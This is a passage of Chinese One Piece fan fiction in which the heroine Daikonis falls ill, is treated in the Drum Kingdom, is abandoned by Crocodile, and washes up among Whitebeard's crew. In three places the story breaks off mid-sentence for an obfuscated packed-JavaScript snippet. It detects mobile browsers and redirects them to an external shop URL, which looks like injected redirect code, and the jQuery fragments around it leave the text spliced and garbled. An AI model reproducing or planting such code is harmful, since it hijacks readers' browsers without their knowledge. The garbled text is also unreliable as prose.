黛可妮斯烧得迷迷糊糊的,却依旧扯着嗓子说个不停:“让我想想,要邀请谁来参加我的葬礼……餐厅的汤姆大叔、吝啬鬼秃驴、天天换菜单的高冷大厨……”
“不知道孤儿院的那帮小混账们还有多少人活着,也把他们叫来吧,到时候我的鬼魂就趴在他们肩头吹冷气,直接吓死他们……啊,教堂的殡仪师一定会很高兴,又能多卖出去几口棺材了。”
身边的床铺向下一陷,有一双手掌探进黛可妮斯的被窝,将她滚烫的脸蛋从其中挖出来。
那手冷得像死人一样,直接将黛可妮斯冻得一哆嗦(其实是她的脸太烫了产生的错觉),心下第一反应就是克洛克达尔也死了。
“这下感情好了,”她真诚而又极其诚恳的说,“咱俩都死了,钱还没花完,可怎么办呢?”
克洛克达尔坐在她的身边,双手捧着她的脑袋瓜子,脸上的表情却木木的。
……他真想知道脑子被烧傻的黛可妮斯到底还能吐出多少胡言乱语。
他又叹了口气。
“你如果现在死掉,”他故作威胁道,“我就把你的尸体直接扔进海里喂鱼。”
“一定要把我喂给章鱼!”闻言,黛可妮斯激动起来,“这样我下辈子就能变成章鱼!看谁不顺眼,就吐他一身黑唾沫!”
克洛克达尔:……
他干脆了当的撒开手,将黛可妮斯的脑袋扔回被子里,然后一路冲进驾驶舱。
必须要赶紧抵达下一座岛屿。
否则听多了黛可妮斯的胡言乱语,他自己也要变得不正常了。
手掌握住船舵,视线穿过玻璃,放在前方的海面上。
心思却不由自主地再次转回到刚才的房间里。
现在回想起来,自己似乎从未见到过黛可生病的模样,那张因高热而难耐不堪的脸蛋,映在他眼里是如此失真。
毕竟,她也只是个普通人。
没有超凡的能力,没有永生的寿命。
甚至连身体也并不算得上是健壮。
但是为什么,自己的心底里,总会留有一个错觉。
以为她会永远生机勃勃,会不择一切手段活下去。
还以为……无论如何,最后她一定会理解自己,会留在他身边。
克洛克达尔攥紧了船舵,心里烦躁不已,本就难以操控的船只更让他怒火冲天。
「黑隼号」的驾驶舱让他很不适应,习惯了原本海贼船上全自动的驾驶模式,这种堪称原始的驾船方式让他在从未想到过的角度,体验到了事情脱离掌控的滋味。
包括她那来势汹汹的病。
赶紧找到医生吧。
不然的话,他的这条船,是无法抵达旅途终点的啊。
15.第 15 章
黛可妮斯在昏昏沉沉的睡梦中醒来。
在这场又长又颠簸的梦境中,她短暂地回到了自己的童年,在慈心福利院生活的日子。
虽说睁开眼睛之时,关于梦境的一切便都被大脑遗忘,但是那种令人讨厌的感觉,却还会在心头久久挥之不去。
紧绷着嘴唇,她下意识伸出手臂挡住眼睛,却听见身边人一声惊呼,紧接着她的手就被按住了。
“失礼了,”少年的声音很低,口齿吐字倒是清晰明了,“女士,你的手背上还扎着针头在输液,这样会伤到自己的。”
黛可妮斯扭过头来,将视线落在床边少年的脸上:算不上出众的一张方面孔,眉眼间给人一种坚毅之感,而他的发型……
“啊,是栗子呢。”
黛可妮斯的手掌落在他头上,肆意妄为地揉着那扎手的发茬。发型很像栗子的少年,顿时因她的举动而脸红。
“不是栗子,虽然我很喜欢栗子……”他干巴巴地说,“总、总之,我先去叫医生过来!”
身着军绿色冬装的少年很快跑出门去,能听见他身上的铠甲在跑动中发出细微的磕碰声。跑到门口时,他小心地只打开了一个仅供自己出入的小缝,紧接着便以极快的速度挤出门去,再关紧房门。
但即便如此,还是有几股冷风吹进房间里来,那冷意顿时让黛可妮斯昏沉的头脑清醒不少,让她开始思考现在的状况。
视线在周身打量一圈,最后盯着手背上仍在输液的针头发呆片刻,思维才勉强和之前接上轨。
看样子,是克洛克达尔找到医院了。
房间被布置成病房的模样,虽然很温暖,但那噼啪作响正在燃烧的壁炉,以及窗外一片白茫茫的雪景,让她明白自己已经抵达了新的岛屿。
还是个冬岛呢,她第一次登上这种类型的岛屿诶。
门外很快传来了接连的脚步声,房门被推开,寒意迅速涌进来,使得黛可妮斯忍不住往被窝里缩了缩。
为首的是一名个头矮小的白褂子医生,后面是面色不明的克洛克达尔,最开始见到的少年,则是站在门外,为他们关上门。
“还活着啊。”
克洛克达尔那满不在乎的口气和之前一模一样。
“让你失望了真是对不起。”
他耸耸肩:“还以为一进来就会见到一只疯狂吐墨汁的章鱼呢。”
黛可妮斯当然已经忘记了生病时的胡言乱语,闻言便古怪地瞅他一眼,只当是他又抽风。
“所以这里是哪里?”
“是「磁鼓王国」哦,小姑娘。”个头矮小的医生,一边蹦跳着一边爬上椅子,踮起脚尖为她更换输液袋,“你被「奇妙发烧病毒」感染了,运气好来到这里,不然就是死路一条了哦。”
黛可妮斯以为自己听错了:“你刚才说,什么病毒?”
“是「奇妙发烧病毒」啦,致死率很高的哦。”
黛可妮斯相信在自己听到这个病毒名字的一瞬间,对面的克洛克达尔和她自己脸上都露出了难言的古怪笑意。
“这样吗,”她尽力憋着笑,“多谢您的救治啦,医生。”
“没有什么值得谢的,”克洛克达尔接过话茬,“花钱办事罢了。”
矮个子医生哈哈大笑:“正是——嘛,话说回来,要不是小姑娘你的兄长为了我国的科研事业提供了如此丰厚的捐款,国王陛下还不一定会允许我们救治你呢!”
黛可妮斯精确地抓住了医生话语中的某个字眼:“是吗,这样啊,我的兄长——”将视线移向某人。
克洛克达尔双手抱胸,一副对任何事都漠不关心的样子——可是他嘴角分明在笑,他都没停过!
“为了治好我的任性妹妹,要我做任何事情都可以。”
啊,还在演,好烦。这家伙倒打一耙的水平还是这么让人火大啊,明明只是个臭小鬼。
黛可妮斯的病情已经稳定了很多,但还是需要继续住院几天。不过这倒是正合她心意:磁鼓王国的特色炖菜很好吃,病房里的设施也很舒适,护士医生啥的也很贴心……
遂开始安心养膘(划掉)安心养病的日子。
克洛克达尔倒不怎么来病房探望她,一开始黛可妮斯还以为那家伙是担心自己也被传染上,心里骂他两句也就算了。
结果某天,她白天里睡太多了,到了晚上死活睡不着,清醒地像是准备去打劫一样。就在她闭紧眼睛试图通过回忆单词来催眠自己的时候,窗户吱呀一声开了。
寒意带着雪花吹进来,黛可妮斯一边默默吐槽谁没给她关好窗户,一边睁开眼,正好对上了黄沙中显现出来的,某人的脸。
俩人均惊恐地相视无言。
黛可妮斯率先打破这个僵局:“迷路到不走正门,非要爬窗户了吗,废物沙子人?”
某个每晚爬窗户进来,偷偷关心病人的沙子人,在面对这种被抓包即将掉马的状况时,做出的应对是——
“啊,其实我是想打开窗户冻死你来着。”
看似冷静非常,实则口不择言说出这种话的克洛克达尔,险些话一说出口就抽自己一个嘴巴子。
……为什么一定要说出这种欠揍的话?
“诶,这样吗?”黛可妮斯表示理解地点点头,“先治好人,再冻死对方,的确很符合你一贯的行事作风呢。”
幸好今晚月黑风高,不然黛可妮斯就能看见克洛克达尔额上那即将爆炸的青筋了。
“真遗憾,”克洛克达尔强撑着又说了一句让自己后悔的话,“这次没能冻死你。”
黛可妮斯端起床头水杯喝了一口:“那你下次继续努力了哦。”
窗外人身形僵持了片刻,终于啪得一声甩上窗户,化作一道沙消失了。
莫名其妙。黛可妮斯撇撇嘴,怎么这家伙现在开始玩这种小孩恶作剧了啊,一点也不成熟,真是越活越回去……
然后第二天,她就遇到一个更加幼稚的家伙。
不,这家伙根本和没用沙子人不是一个档次的,与其说是幼稚,还不如说就是个恶劣至极的混账才对。
“你就是那个从外面来的女人吗?”
房门被一脚踹开,小孩子尖锐的声音带着屋外的寒风一同席卷了这间病房。
还没睡醒的黛可妮斯:?
看上去只有八九岁的男孩,长相十分猥琐,一头张扬的头发冲天长着,但最为奇特的,是他那钢铁下巴。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019747|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虽然不知道是什么情况,但是他那个下巴……绝对是钢铁做的吧喂!看上去灵活不已,随着他说话的动作发出金属碰撞的声音,应该不是面具一类的东西,大概他的下巴本来就长成那副模样。
门外的护士和医生们,赶在这男孩跳上床头柜之前冲进来了:“瓦波尔王子——这里是病房啦,有可能会被传染的——”
“啰嗦,反正你们都会治好的!——喂你这女人!”名为瓦波尔的熊孩子依旧跳上了床头柜,居高临下地瞪着黛可妮斯,然后趾高气扬地点点头,“不错,也勉强算是有几分姿色吧!只要你现在亲吻本王子的脚背,要本王子娶你做王妃也不是不行!”
完全没搞清什么情况的黛可妮斯,身体已经早于大脑做出了反应:一巴掌将这个神经熊孩子拍飞,银色的丝线飞出,将其牢牢缝在了墙上。
刚顺手将桌上的抹布塞进男孩嘴里,却见他下巴以奇怪的弧度嚼了嚼,就将抹布咬碎了吞下肚去。
“大胆刁民,竟然敢让本王子吃抹布——斩首!我要把你斩首——唔唔唔唔!!”
黛可妮斯为他那神奇的下巴惊讶了一瞬,然后把这个聒噪的家伙嘴巴缝死了。
在场的医生护士们,望着他们的王子像半死不活的鱼一样在墙上乱扭但是无法挣脱的模样,全部张大了嘴巴。
虽说这家伙的确是饱受国王宠爱的王子,但是……性格实在是太恶劣了!太令人讨厌了!所以本该立刻冲上去解救王子的人群们,此刻都站着发愣,甚至想偷偷给黛可妮斯鼓掌。
“瓦波尔王子!就算是您,也不能——”
栗子头的少年,连同几个身着同样军绿色制服的士兵冲进房间之后,也张大了嘴巴。
自家混账王子还在墙上疯狂扭动:“唔唔(蠢货们快放我下来)!唔唔唔(我要杀了这女人)——”
“那个,我说啊,”黛可妮斯已经钻回了被窝,朝着墙上那团东西一努嘴,“可以赶紧处理一下这鬼东西吗?”
栗子头的少年满头大汗,手中的雪铲放到地上,不知道是该上前还是该怎么办:“女士,这位是我国不成器的王位继承人,还请您……”
“喂小栗子,你听我说哦……话说你叫什么名字来着?”
这个称呼让栗子头的少年愣了片刻,旋即脸上红了红:“女士、您、您叫我多尔顿就好。”
“很好,小多尔顿。”黛可妮斯一挥手,“现在我要将这个家伙放下来,只要他一落到地上,你就举起手中的雪铲,瞄准他的屁股狠揍知道吗?一定要切切实实将他的屁股打成四瓣哦。”
多尔顿脑门冷汗又下来了:“女、女士,虽然我也很想这么做,但是他毕竟是我国的王子……”
墙上某物发出的怒吼声更加撕心裂肺了,甚至从耳朵和鼻孔处喷出了愤怒的白色蒸汽,简直就像个正在行进的蒸汽火车。
“你的提议还是太过温柔了,黛可。”
克洛克达尔分开人群,走上前来,眯着眼睛打量墙上的王子。
手掌微微一动,青筋鼓起:“要不就去告诉磁鼓国王,让他考虑一下再生个继承人吧。”
众人:“您您您绝对是在开玩笑吧客人——!!”
16.第 16 章
“虽然很遗憾,但恐怕我们不得不将这两位客人请离本国。”
他那过于溺爱孩子的国王陛下,以忧虑不已的口吻如此说。
即便对这个决定并不认可,但那毕竟是国王的命令。
多尔顿叹了口气,不知道该用什么脸面去向客人们传达。
身为本国储君的王子,做出如此无礼之举,而国王殿下还是一如既往地偏心,年纪轻轻的多尔顿身为国王护卫队的一员,实在是感到抬不起头。
磁鼓王国作为四海闻名的医疗大国,却在救治病人的事情上如此吝啬,甚至病人还未痊愈,便急不可耐地要将之驱逐出境……
更何况,那名生病的女士分明是无辜的。
他脑海中不禁浮现出了一头耀眼的红色头发,那颜色在这个冰雪国度中是如此罕见,以至于让多尔顿印象极为深刻。
他沉默地在走廊中行走着,捆在后背上的雪铲拖着地,咔咔作响。
话说回来,如果没记错的话,那位女士的名字,似乎是黛可妮斯?至于另一位,看上去就是个彻头彻尾的海贼呢。
据说两位是兄妹关系,但在多尔顿看来,那位男性似乎对黛可妮斯女士过于牵挂了。每当多尔顿巡逻到病房附近时,都能见到他的身影在附近徘徊。
而且还装作一副若无其事的态度。
不过要是设身处地的想一想,如果是自己身为她的兄长,恐怕……只会更加夸张吧。那位女士似乎天生就带有一种,让人移不开视线的能力。
多尔顿落在门扉上的手掌停顿了片刻,旋即用力地推开。
房间内,病床上的黛可妮斯还在熟睡,坐在一旁椅子上的克洛克达尔则有一搭没一搭地翻着报纸。
见到多尔顿进来,克洛克达尔抬起头,以眼神询问他所为何事。
多尔顿不禁露出一个无奈而惭愧的笑容。
尽管他已经刻意放轻了脚步声,但床上的黛可妮斯还是翻了个身:“……几点了?诶,小栗子你来了?”
多尔顿立刻感到一种比窗外风雪还要严寒的目光在他身上扫了一圈,来自那个男人。
“是有什么事吗?”
刚睡醒的黛可妮斯支起身,伸长胳膊去够床头的水杯,她离柜子有些远,又不愿舍弃温暖的被窝,从而看起来有些费力。
多尔顿忍不住想要帮她,刚上前了一步,那种冰冷的视线便重新落回到他身上。
多尔顿:……
有必要带着这么浓重的威胁意味吗?
椅子上的男人站起身,从暖壶里倒出热水来,才面无表情地将水杯递给黛可妮斯。
后者以一副意外至极的表情瞅着他:“这么殷勤?在水里下毒了吗?”
克洛克达尔冷哼一声坐回去:“毒死你最好。”
不知为何,眼前这一幕让多尔顿有些莫名不快,他尽量按耐住心头的古怪情绪,深呼吸,极其遗憾地将国王的命令传达给两位客人。
他本以为两位客人会大发雷霆。
谁知黛可妮斯脸上的神情却很轻松:“好吧,在走之前,我一定要把你们特色炖菜的食谱搞到手。”
克洛克达尔冷哼一声:“果然垃圾儿子一定会有个废物老爹。”
这句话,多尔顿决定假装听不见。
“要不还是把他们杀掉算了。”
黛可妮斯缩回被窝:“外面太冷了所以不要。”
……怎么感觉两人都是罪大恶极的海贼?多尔顿头皮发麻,突然希望他们还是早日离开比较好。
*
黛可妮斯裹得像一只圆滚滚的球,一蹦一跳地上了甲板,又拼命挤进自己的房间。
在离开磁鼓王国的领海范围之前,她可不想脱掉这身保暖棉袄。
克洛克达尔倒是一反常态地没有再使唤她,自觉乖乖地走进驾驶舱拉起操作杆,手下动作如此麻利,以至于让黛可妮斯怀疑这家伙是不是早就想走了。
问起原因,克洛克达尔则说:“这里有讨厌的小混账。”
岸上,听闻他们离开的消息,终于挣脱侍卫们的控制,冲到海边气的张牙舞爪、口鼻耳喷出蒸汽的某王子,嘴里还在喊着“我要杀那两个家伙”、“你们这些废物居然敢不听本王子的命令”、“统统斩首”之类的话语。
黛可妮斯点点头,表示无比赞成克洛克达尔的看法。
克洛克达尔的视线却盯着远处军绿色卫兵队里,一个年轻的身影。
……的确是不知好歹的小混账。
“要么就继续休息,要么就来开船。”
这句话成功地让还在兴致勃勃看热闹的黛可妮斯缩回了脑袋,克洛克达尔便理所应当的给她关上舱门,将岸上多尔顿挥手告别的身影彻底挡住。
扬帆,起航,只有两人和一条船,前方是无尽的大海,克洛克达尔的心情不由得变得舒畅了一些,自从鹰眼那家伙上了船,他好久没这么心情舒畅过了。
话说回来,他似乎也好久,没和她独处过了。
船只顺着平稳的海流前进,克洛克达尔也得以放松一下。他走出驾驶舱,到厨房里取出一支红酒,瞅着瓶身想了想,最后手里捏着两支玻璃高脚杯走出来。
来到舱门前,屈指敲敲门,听见里面传出一声不耐烦的“干啥”后推门而入。
随着船只逐渐远离磁鼓王国,气温也渐渐回升,房间内的黛可妮斯便将厚外套扔了一地,趴在床上看识字书,一点要收拾的意思也没有。
克洛克达尔一开始还试图绕过地板上的障碍,最后终于忍无可忍,一脚将毛绒厚实的皮外套踢飞。
床上传来一个懒洋洋的声音:“踢脏了,你得赔。”
第一,这衣服本来就是他买的。第二,是她自己把衣服丢地上的。第三……算了,还是别有什么第三了,克洛克达尔快把手里的红酒瓶捏碎了。
他沉着脸将高脚杯搁在床头柜上,大拇指扣在瓶口死命一摁,将软木塞径直摁进酒瓶肚里,手腕子一翻往杯子里哗哗倒酒,暗红色的酒沫子乱飞。
黛可妮斯抹了一把溅到脸上的酒滴,掀开眼皮子瞪他,怀疑他是不是又得了什么癫疯病。
“祝我们起航。”
莫名其妙的发言,他莫名其妙举起酒杯,叼着雪茄的嘴角也莫名其妙地勾起来,手里的酒杯跟黛可妮斯碰一下,发出清脆的声音。
好像上一秒不爽的人并不是他,此时的克洛克达尔就仿佛达成了一笔难得的交易,笑的狂妄又放肆,两指夹下嘴边的雪茄,举起酒杯一饮而尽。
神经病,这孩子神经病。
黛可妮斯默默腹诽,低头尝酒,味道不错,美滋滋啜饮,喝见底了准备再倒点。
克洛克达尔瞅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027745|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见她伸手,一扬胳膊把那半瓶红酒连酒带瓶扔出窗外。
黛可妮斯甚至听见酒瓶在船体上撞碎的声音。
……神经病?故意不让人喝。
克洛克达尔略带得意地说:“庆祝我们起航。”是的,他又重复了一遍。
正经船只启航,是要在船头挂上一瓶香槟砸碎的。黛可妮斯寻思现在的情况,和启航挂不上边,也没正经喝上香槟,所以她继续坚持刚才的结论:这孩子又抽风了。
她将酒杯稳稳当当地搁在桌上,一把捉住了克洛克达尔的右手。
克洛克达尔愣了一下,视线顺着向下移去,正对上她看痴呆儿一样的仁慈眼神——他确信那仁慈的眼神里,还带着一份坏笑。
于是寒毛耸立,抽回手的瞬间已经感受到了五指中的束缚,耳边她诡异的笑声已经响起:“乖孩子,姐姐来帮你忙——”
克洛克达尔连忙向后退去,而黛可妮斯穷追不舍,笑容可掬地又捉住了他另一只手,往怀里拉去。
刹那间,他手忙脚乱地化成了一片黄沙,除了两只手臂:被黛可妮斯的丝线缝住合拢,动弹不得,也无法通过沙化解除。
“动作还挺麻利。”黛可妮斯笑着屈起手指,在那一双动弹不得、无比可怜的手臂上弹个暴栗,“现在给我滚出去。”
顿时屋内狂沙大作,连带着两条无能狂怒的手臂,在屋里泄恨般肆虐,可是见着黛可妮斯旁若无人地钻回被窝,又拿起识字书来看的模样,屋内的黄沙便停了一下。
——紧接着以更加狂放的姿态卷土重来,把黛可妮斯房间内乱七八糟的各种东西统统卷走(包括她手中的书),然后丢进了海里。
黛可妮斯:。
很好,他确实是皮痒了。
发疯完毕的克洛克达尔瞅准时机,挣开手上的束缚,并赶在黛可妮斯将他脑袋摁进水桶狂揍之前,冲出了房间。
突然觉得心情舒畅多了。克洛克达尔点起一只雪茄,步伐轻快地回到驾驶舱,时机精准地关上舱门,挡住了黛可妮斯泼来的一桶刷地脏水。
虽然没能营造出暧昧的气氛,但是这样的相处方式,倒让他乐得自在。
不过克洛克达尔的快乐时光并没有维持多久。
那天海面上有些乌云,天色阴沉沉的,「黑隼号」一如既往地行驶。站在甲板上的克洛克达尔,留意到斜后方快速接近的物体后,眉毛猛地拧起。
一个他无比熟悉,但万万不能在此时此地出现的。
他的海盗船,巴洛克·古斯塔夫号,就在他眼前。
漆黑的海盗旗迎风飘扬,高大的船只贴近「黑隼号」,几乎要将后者踩在脚下。
“喂,老板。”
船上的海贼,手掌摩挲着寒光的弯刀,居高临下地俯视着克洛克达尔。
“在外边泡妞也够久了吧,准备什么时候,带弟兄们干掉白胡子,称霸大海啊?”
船只遮住了光线,阴影落在克洛克达尔的脸上,让他即便是抬着头,也看不清脸上的表情。
“还是说……”海贼咧嘴一笑,话语间却带着威胁的意味,“……你已经忘记了?”
克洛克达尔,轻轻眯起眼睛,视线直勾勾地盯着他的船员。
他的船员,开着他的船,来找他。
至于态度嘛,似乎想要将自己取而代之呢。
17.第 17 章
当黛可妮斯留意到船只已经在海面上停滞了太久时,心里本来是没怎么在意的。
还以为是克洛克达尔那家伙又跑到甲板上抽雪茄,忘了时间。
她继续在船舱里清点食物储备,顺手从木箱里拿了个苹果,准备去厨房冲一下就吃掉。
然后她就发现克洛克达尔不见了。
穿过厨房,跑过走廊,黛可妮斯叼着苹果踏上甲板之时,只能远远望见前方一艘正在驶离的海贼船。
体型极大,通体墨绿色,表面却呈现出一种金属般的光泽感,船头好似雕刻成一条凶猛的鳄鱼——她心头突然跳出个想法,如果克洛克达尔成为海贼,大概会驾驶着这样的船只在海上乘风破浪吧。
这是她第一次产生这种想法,或者说,这样的疑问。
那家伙会不会是个海贼。
不过话说回来,海贼这个身份的定义还是十分宽泛的,只要你开着船,干一些海军和世界政府不允许的事情,就足以被认定为海贼。
在这个角度,黛可妮斯自己也算得上是个海贼,只不过她内心并不愿意承认罢了。
但这并不能成为替克洛克达尔开脱的借口,她早就发现那家伙在某些方面刻意回避着自己,对于目前在进行的一些活动也不让她接触。
甚至会在她进入房间的时候,突然挂断手中的电话虫。
不过客观来看,两人自出海以来的各种活动,和海贼倒是也没什么区别了,但让黛可妮斯不能理解的是,克洛克达尔为什么要瞒着她。
明明是他邀请自己出海的,他说要做出一番事业,可实际上却什么也不告诉她。
前方海贼船的行驶速度极快,但对于擅长速度的黑隼号而言,也不是完全追不上的。黛可妮斯将吃完的苹果核扔进大海,扭头冲向驾驶舱。
她感觉还是有必要去问一句的,问问那个突然就跟着海贼跑掉的家伙。虽然概率很低,但是也不能排除他是被海贼抓走的情况……话又说回来,要是他真的废物到这种程度,黛可妮斯觉得自己还是不要管他了。
她的脚步在驾驶室前停住。
紧闭的舱门上,流动的黄沙凝成了一行字。
“不用找我,很快回来。”
她伸手摸上去,黄沙便散掉了。
狗东西,算的还挺准。
黛可妮斯试着拽了一下驾驶舱的舱门,不出所料地发现被锁住了,至于钥匙什么的,她手里倒是有备用的,不过要是等她从房间某个吃灰的角落里找到钥匙,那海贼船估计早就跑没影了。
她微微站定,以一种很平静的姿态,去翻找衣兜里的小电话虫。
取下话筒,拨出号码,等待,无精打采的小电话虫望着她,没有任何想要开口的欲望。于是她挂上话筒,再度拿起,拨出号码,等待,掌心里的小电话虫还是一副萎靡不振的模样,全然没有以前那种底气十足的尖叫迹象。
她捏着话筒,默不作声,胸口微微起伏。小电话虫用一种遗憾而爱莫能助的眼神望着她,那眼神让她觉得,烦透了。
是那家伙将自己带出来的,他说要干一番大事业。
要是以前的克洛克达尔不告而别,黛可妮斯绝对会不以为意,并确信他会在某个角落再度出现,并用那令人厌恶的口吻说“我不在你身边,你居然还没死”。
但是现在,望着那艘逐渐远去的墨绿色海贼船,那飘扬嚣张的黑色骷髅旗帜,上锁的驾驶舱门,无人应答的小电话虫蔫头蔫脑。
那道黄沙留下的简讯已经消散,好像什么也没有留下。
他为什么要不告而别。
这个念头一旦在脑海中形成,就像往滚烫的油锅里倒进一杯冷水,在疯狂的迸溅与炸裂声中,在肌肤上留下支离破碎的灼伤脓疱。
五指抓紧了小电话虫,她将手掌高高举起,深吸一口气,又缓缓落下。
手指慢慢松开,将小电话虫放到桌子上,看它一点点蠕动。
黛可妮斯缓缓透出一口气来。
还是去寻找驾驶舱门的备用钥匙吧,总不能一直在海上漂着。
给自己做了一锅乱七八糟的大乱炖,统统吞下肚子,黛可妮斯扶着吃胀的肚子站在甲板上,瞅着西边的海面,橘色的光正在落下,是今天的最后一缕晚霞。
她将船上的所有窗户都大大敞开,然后掏出钥匙,走进驾驶舱。
展开船帆,转动船舵,她遇到了一股很特别的晚风,连脑后的长发都被吹起,直指着她前进的方向。
她觉得自己还是比较乐观的,比如以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037923|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那家伙已经死掉为前提,展开自己的航海之旅,似乎也不错。虽然没能将他的遗产搞到手有些可惜,但至少她得到了一艘船。
朝着指针的方向,她扶着船舵,在驾驶舱里站了一整晚。
脑海里的思绪很多很多,像一只打了无数结的毛线团,黛可妮斯冷眼瞅着那只毛线团,一点解开它的想法也没有。
为什么要这么在乎那家伙的去向?他是死是活与自己又有什么关系?退一万步来讲,就算那家伙背着自己偷偷死在外边,难道还会影响她回到「饱餐一顿」继续端盘子当应侍员吗?
海风夹着腥咸味的水汽吹在她脸上,晚上实在是吃的有些多,黛可妮斯站在船舵前,感到胸腔内一阵阵的恶心不断上涌,终于捂住嘴巴,冲到船舷边上,呕了出来。
海水很快冲走了秽物,只剩她嘴边的酸胃液。黛可妮斯头晕目眩地擦擦嘴巴,懊悔自己浪费了宝贵的食物。
算了,不管了,也许下一个岛屿就会有无数美食在等待自己去品尝呢。
她费力地支着上下眼皮子,扑回到船舱里,趴在船舵上斜眼瞅着前方的海面。
不知道行驶了多久,那股海风越来越猛烈,像是在带着她飞翔,黛可妮斯也就任由自己前进,连逐渐偏离了指针的方向也没放在心上。
她感觉自己有点昏头昏脑的,就蜷缩在木椅子上睡一会,随后滚下来把自己磕醒,揉着额头上的包又爬起来掌舵。
一个夜晚过去,清晨和正午的阳光在头顶飞逝,她再度见到了一片夕阳,这次她的肚子饿的咕咕叫,却什么也吃不下去。
当夜幕终于笼罩住整片天空,她驾驶着黑隼号冲上了一座小岛的沙滩,搁了浅。
摇摇晃晃跳下船来,一脚深一脚浅地踩在沙滩上,前方的树林里隐隐传来欢快的笑声与歌唱,篝火的影子扭动不停,透过树林间的缝隙照在她的脸上。
黛可妮斯扶着树干,穿过低矮的灌木丛,向着那篝火前进,最后一头倒在带着凉意的沙砾地面上。
欢笑声停止了,向她靠过来的脚步声很嘈杂,许多人打量着她,最后有个人像是拎小鸡仔一样拎起了她的胳膊。
于是她看见一道弯月般的白色胡子。
中大奖了。她昏过去之前如是想。
18.第 18 章
「花剑」比斯塔刚从伙伴的手里接过一杯啤酒,就被乔兹的搞怪举动逗得哈哈大笑,连杯中酒都洒了一半。
那家伙运气还算不错,在战利品中随手拿起一枚恶魔果实吞进嘴里,居然就是难得一见的「闪亮果实」,此时的他刚将双眼变成钻石,给大伙表演了一个真·双眼放光,紧接着又拿起一把长刀,在钻石的手臂上比划了一下。
“钻石这么值钱,这下我的身价在团里应该是最贵的了吧。”乔兹笑着一刀劈在钻石手臂上,钢铁打造的刀刃应声断裂。
“别得意了你小子,”马尔高一手勾在乔兹的脖子上,“要说身价,谁比得上老爹啊!数数他悬赏令上的零吧……”
众人跟着马尔高一同大笑,比斯塔笑着摇头,举起酒杯畅饮,突然间见闻色察觉到了什么,他动作一顿,视线越过森林,看向远处的沙滩。
这个小岛荒无人烟。他们也只是在这里临时休息。就算海军正疯狂地追踪着他们的行踪,也不可能这么快就赶上……有跌跌撞撞的脚步声在森林中响起,似乎只有一人。
其余的伙伴们大多也察觉到了不速之客的靠近,他们收敛起笑意,神色不明地将视线投向森林,却在看清来者样貌之时,眉毛意外地挑起。
是个狼狈不堪的女人,身上没有武装,单看她那涣散的目光,与其怀疑她的接近意图不轨,还不如担心她会不会下一秒就死掉。
果不其然,那女人脚下一绊,直接摔倒在地,不知道有没有磕歪鼻子。
这咋办?比斯塔和伙伴们面面相觑,不知道是该出于绅士礼仪将女子扶起,还是小心为上、将警惕的武器对准她。
众人还没行动,身后就已经传来了老爹的声音:“都愣着干什么?”
白胡子擦着嘴边的酒液,几步就走到女子身边,略一伸手拉住她的上臂,就把人给提起来了:“一个倒霉的小丫头罢了,看样子是迷航了吧。”
“把人弄醒,给她擦擦脸,别光围着看,没礼貌。”
白胡子瞅着女子那一头乱糟糟的红发,摇摇头。
见老爹发了话,大伙这才嘻嘻哈哈地继续喝酒:“唉,这不是好久没见到女人了么!”
“谁知道这个小破岛居然还有女人光顾!”
“水打来了!”一人端着水盆跑过来,满脸笑得谄媚,“让我给小妹妹擦个脸吧!”说着就抽出了系在腰间的抹布。
“去去去,一边去!”众人嘘他,“女人的脸蛋可是娇贵透了,你那臭抹布给人脸擦破了怎么办?”
那人不好意思地笑:“她要是破了相,我是不是要对她负责……”
马尔高给他脑后拍了一巴掌:“你倒是想得美!就算急着找老婆,也不能这么干!”
“都让开吧。”
比斯塔无奈地挤开众人,小心地抽出别在胸前的手绢,用清水打湿,慢慢擦掉女人脸上的沙土,顺手理了理她凌乱的额发。
众人笑:“也是,要说给女人擦脸的活,就该是比斯塔你来干——整条船上就数你假干净!天天洗衣服天天换!不然换了别人的脏手,估计能把女人吓得跳起来!”
然后视线一齐在女人的脸蛋上打了个转,眼睛都看直了:“我嘞个娘,哪里来的漂亮女人,我要娶她!”
“你丫滚一边去,我要娶她!”有人这就从灌木丛里摘了支花,像模像样地跪下来,“我要求婚!”
“你小子连求婚的单膝跪地都没弄明白,还想求婚?!”
众人七嘴八舌吵得比斯塔脑瓜嗡嗡的,他无奈地伸出手指掏耳朵:“喂马尔高,先别急着走,多少给这位倒霉姑娘检查一下,看她有没有受伤。”
马尔高只好放下手中的酒杯,有些不清愿地蹲下身来:“我看她没什么外伤,应该是太疲惫了……”
“你这小子,别趁机占她便宜啊!我还要向她求婚呢!”
马尔高大怒:“我看你是皮痒了!竟然敢污蔑你队长……”
